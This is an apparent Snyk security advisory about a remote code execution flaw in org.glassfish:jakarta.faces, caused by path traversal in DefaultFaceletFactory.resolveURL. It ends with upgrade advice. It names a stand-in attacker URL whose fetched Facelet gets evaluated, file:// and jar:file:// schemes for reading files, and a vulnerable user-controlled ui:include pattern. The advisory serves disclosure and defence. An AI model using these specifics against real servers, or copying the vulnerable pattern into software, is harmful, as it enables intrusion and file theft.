Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution vulnerabilities in an interactive lesson.
Start learningUpgrade org.glassfish:jakarta.faces to version 4.0.22, 4.1.13 or higher.
org.glassfish:jakarta.faces is an Oracle's implementation of the JavaServer Faces specification.
Affected versions of this package are vulnerable to Remote Code Execution due to path traversal in the resolveURL(URL source, String path) method of DefaultFaceletFactory, which passes a path that does not start with / straight into the URL constructor, so an absolute spec overrides the base URL. An attacker can execute code server-side by supplying an absolute URL such as http://attacker.example/rce.xhtml that Mojarra fetches, compiles, and evaluates as a Facelet including its #{...} EL expressions, or read arbitrary files through file:// and jar:file:// schemes. This requires the application to have a JSF page whose <ui:include src>, <ui:composition template>, or <ui:decorate template> value comes from user-controlled input, for example <ui:include src="#{param.p}" />.